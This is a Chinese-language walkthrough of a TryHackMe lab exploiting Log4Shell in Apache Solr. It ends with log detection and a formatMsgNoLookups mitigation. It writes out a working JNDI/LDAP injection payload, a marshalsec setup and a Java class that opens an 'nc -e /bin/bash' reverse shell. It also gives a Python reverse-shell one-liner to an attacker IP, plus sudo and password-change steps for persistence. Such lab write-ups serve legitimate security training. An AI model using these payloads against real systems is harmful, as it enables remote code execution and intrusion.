https://tryhackme.com/room/solar
- 2021 / 12 / 9 公開了 CVE-2021-44228,影響到了 log4j,它的危害程度達到 10,這個漏洞又被稱作 Log4Shell
- 現在已經有新版的 2.16.0 Release 了,不過又出現了 Log4j2
Recon
透過掃 Port 可以看到有開 3 個 Port,分別是22,111,8983
rustscan -a 10.10.18.186 -r 1-65535
可以用 nmap 做更詳細的掃瞄
nmap -sV -Pn -A -p22,111,8983 10.10.18.186
可以發現 8983 開的是一個 Apache solr 的 Server
Discovery
觀察首頁的版本可以知道他是 Solr 8.11.0
觀察 -Dsolr.log.dir
可以看到他的 log Path 是 /var/solr/logs
下載 lab 提供的 solrlogs.zip 檔案,他是一份範例的 Log 檔案
可以觀察到裡面有一個叫做 solr.log
的檔案會紀錄網頁的 Path 相關 Log
可以發現裡面一直重複的 path 是 /admin/cores
觀察這份 Log,可以發現,使用者能控制的點應該是 params
這個參數
繼續觀察可以發現這份 log 中,網址最前面的 /solr
不會被紀錄上去,代表說需要省略
這個時候我們就可以直接用最基本的 Payload 來進行測試
先在本地端用 nc -nlvp 9999 開一個監聽
然後用瀏覽器訪問
http://10.10.18.186:8983/solr/admin/cores?meow=${jndi:ldap://10.13.21.55:9999}
就可以發現 Server 吐了一些東西回來
因為他是 Ldap Server 的 Request,所以會是一些 non-printable 的 ascii string
安裝 Java 環境
這邊的範例需要安裝 jdk (jdk-8u181-linux-x64.tar.gz)
可以先透過 wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
進行下載
(這邊我沒有用範例裡面的連結,因為他速度太慢QQ)
接下來照著教學無腦貼
sudo mkdir /usr/lib/jvm
cd /usr/lib/jvm
sudo tar xzvf /home/kali/tryhackme/log4j/jdk-8u181-linux-x64.tar.gz
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
無腦貼完之後可以確認一下 java version 是 1.8.0_181
接下來安裝 marshalsec
Java 反序列化工具
直接透過 git clone https://github.com/mbechler/marshalsec
即可安裝
接下來需要安裝 maven sudo apt install maven
接下來透過 maven 來 Build 工具 mvn clean package -DskipTests
等他 Build 一陣子後,終於顯示了 BUILD SUCCESS QQ
準備 Run Exploit Server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.13.21.55:8000/#Exploit"
執行下去之後他就會自動開啟一個 LDAP 的 Server
並說他會開始 Listen 1389 Port
接下來準備一個 Exploit 的 java 檔案,讓他吐 reverse shell 回來
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.13.21.55 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
並輸入 javac Exploit.java -source 8 -target 8
進行編譯,會產出 Exploit.class
檔案
接下來開啟 python3 -m http.server 8000
與另外一個 Terminal 準備 9999 port 的 nc 監聽
正式 Exploit
瀏覽器輸入 http://10.10.18.186:8983/solr/admin/cores?meow=${jndi:ldap://10.13.21.55:1389/Exploit}
可以發現 LDAP Server 讀到了 Request
Python Server 也收到了這個 Request
NC 端也收到了 Reverse shell
後滲透
python3 -c 'import pty;pty.spawn("/bin/bash")'
可以取得比較完整的 Shell
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.21.55",444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' &
接著我們可以用 sudo -l
確認自己可以用 sudo 做任何事情
幫 solr 改ㄍ密碼
sudo passwd solr
接下來就可以 SSH 上去ㄌ
偵測
觀察 log ,可以從前面的 web 首頁看出 所在位置在 /var/solr/logs/solr.log
可以看到我們的 Log 裡面有很明顯紀錄到這些東西
減緩
透過 locate solr.in.sh
可以找到
/etc/default/solr.in.sh
這個檔案
在裡面的最下面加上
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
接下來重開 Solr
sudo /etc/init.d/solr restart
再下一次就會發現收不到ㄌ